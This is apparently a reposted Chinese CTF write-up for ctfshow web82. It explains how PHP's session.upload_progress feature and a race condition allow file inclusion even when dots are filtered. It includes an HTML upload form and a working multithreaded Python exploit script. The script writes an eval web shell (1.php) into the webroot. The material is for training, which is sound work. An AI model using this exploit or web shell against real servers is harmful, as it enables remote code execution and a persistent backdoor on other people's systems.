ctfshow web82:利用session.upload_progress進行文件包含


源碼:

 

 過濾了點之后我們也不能使用文件包含來getshell了,因此我們只能利用無后綴的文件,因為在php中我們能夠利用的無后綴的文件就是session,我們可以利用session.upload_progress來進行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS參數

前瞻知識

該功能是在php5.4添加的,首先先了解下php.ini以下的幾個默認選項

session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能開始,也意味着當瀏覽器向服務器上傳一個文件時,php將會把此次文件上傳的詳細信息(如上傳時間、上傳進度等)存儲在session當中 ;

  • cleanup = on表示當文件上傳結束后,php將會立即清空對應session文件中的內容,這個選項非常重要;

  • name當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控;

  • prefix+name將表示為session中的鍵名;

  • 另外還有一個session配置中的重要選項:session.use_strict_mode=off這個選項默認值為off,表示我們對Cookie中sessionid可控。

 

過程分析

如果session.auto_start=on,則php會在接收請求的時候會自動初始化Session,不再需要執行session_start()。但默認情況下,這個選項都是關閉的。但session還有一個默認選項,session.use_strict_mode默認值為0。此時用戶是可以自己定義Session ID的。比如,我們在Cookie里設置PHPSESSID=rikka,PHP將會在服務器上創建一個文件/tmp/sess_rikka。即使此時用戶沒有初始化Session,PHP也會自動初始化Session。 並產生一個鍵值,這個鍵值有ini.get(“session.upload_progress.prefix”)+由我們構造的session.upload_progress.name值組成,最后被寫入sess_文件里;

簡而言之,我們自定義的PHPSESSID的值會變成文件名,比如定義PHPSESSID:rikka,文件名即為/tmp/sess_rikka,而PHP_SESSION_UPLOAD_PROGRESS的值即為該文件的內容

<!DOCTYPE html>
<html>
<body>
<form action="http://05eb0a1f-896d-45f9-929d-bd97adeff940.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
   <input type="file" name="file" />
   <input type="submit" value="submit" />
</form>
</body>
</html>

 

上傳成功后,就會在session['upload_progress_123']存儲一些本次上傳的相關信息

但是由於cleanup=on,會導致文件上傳后,session文件的內容立即清空。此時我們得利用條件競爭,在session文件的內容被清空前進行文件包含

 

操作方法

我們可以使用bp同時不斷的發post傳文件的包和實現文件包含的包

參考鏈接:https://blog.csdn.net/weixin_45785288/article/details/110625807?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-4.pc_relevant_default&spm=1001.2101.3001.4242.3&utm_relevant_index=7

 

或者使用腳本

import requests
import threading
import io

url = "http://6051974d-15cd-40a9-b1b6-580db921a984.challenge.ctf.show/"
sessID = 'rikka'
data = {
    "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的內容
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                               # 改參數的值就是/tmp/sess_rikka文件的內容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('rikka.png', fileBytes)
                           }
                           )


def read(session):
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url+'1.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)


if __name__ == '__main__':
    event = threading.Event()   # 開啟多線程的對象
    with requests.session() as session:
        for i in range(5):               # 開5個線程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()       # 喚醒線程

 成功寫入后訪問1.php文件進行命令執行即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM